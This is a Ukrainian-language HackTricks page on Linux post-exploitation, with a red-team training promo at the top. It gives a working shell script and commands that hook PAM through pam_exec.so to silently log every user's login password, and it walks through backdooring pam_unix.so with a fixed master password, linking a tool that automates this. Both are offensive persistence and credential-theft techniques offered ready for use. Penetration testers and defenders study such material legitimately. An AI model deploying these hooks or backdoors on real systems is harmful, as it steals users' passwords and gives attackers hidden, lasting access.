Linux Post-Exploitation

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Підслуховування паролів для входу за допомогою PAM

Давайте налаштуємо модуль PAM для реєстрації кожного пароля, який використовує кожен користувач для входу. Якщо ви не знаєте, що таке PAM, перевірте:

pagePAM - Pluggable Authentication Modules

Для отримання додаткових відомостей перегляньте оригінальний пост. Це лише краткий огляд:

Огляд техніки: Модулі підключної аутентифікації (PAM) пропонують гнучкість у керуванні аутентифікацією в системах на основі Unix. Вони можуть підвищити безпеку, налаштовуючи процеси входу, але також створюють ризики при неправильному використанні. Цей огляд наводить техніку захоплення облікових даних для входу за допомогою PAM, разом зі стратегіями пом'якшення наслідків.

Захоплення облікових даних:

  • Створено сценарій bash під назвою toomanysecrets.sh, щоб реєструвати спроби входу, захоплюючи дату, ім'я користувача ($PAM_USER), пароль (через stdin) та IP віддаленого хоста ($PAM_RHOST) у файл /var/log/toomanysecrets.log.

  • Сценарій зроблено виконуваним та інтегровано в конфігурацію PAM (common-auth) за допомогою модуля pam_exec.so з опціями для тихого запуску та викладення токену аутентифікації сценарію.

  • Підхід демонструє, як компрометований хост Linux може бути використаний для конфіденційного реєстрування облікових даних.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Додавання задніх дверей в PAM

Для отримання додаткової інформації перегляньте оригінальний пост. Це лише краткий огляд:

Модуль аутентифікації з можливістю підключення (PAM) - це система, яка використовується в Linux для аутентифікації користувачів. Вона працює на трьох основних концепціях: ім'я користувача, пароль та служба. Файли конфігурації для кожної служби розташовані в каталозі /etc/pam.d/, де спільні бібліотеки відповідають за аутентифікацію.

Мета: Змінити PAM для можливості аутентифікації за допомогою конкретного пароля, обходячи фактичний пароль користувача. Особливий акцент робиться на спільній бібліотеці pam_unix.so, яку використовує файл common-auth, що включений майже у всі служби для перевірки пароля.

Кроки для модифікації pam_unix.so:

  1. Знаходження директиви аутентифікації у файлі common-auth:

  • Рядок, що відповідає за перевірку пароля користувача, викликає pam_unix.so.

  1. Зміна вихідного коду:

  • Додайте умовний оператор у вихідний файл pam_unix_auth.c, який надає доступ, якщо використовується попередньо визначений пароль, в іншому випадку продовжується звичайний процес аутентифікації.

  1. Перекомпілювання та заміна зміненої бібліотеки pam_unix.so у відповідному каталозі.

  2. Тестування:

  • Доступ надається через різні служби (логін, ssh, sudo, su, заставка екрана) за допомогою попередньо визначеного пароля, тоді як звичайні процеси аутентифікації залишаються незмінними.

Ви можете автоматизувати цей процес за допомогою https://github.com/zephrax/linux-pam-backdoor

Last updated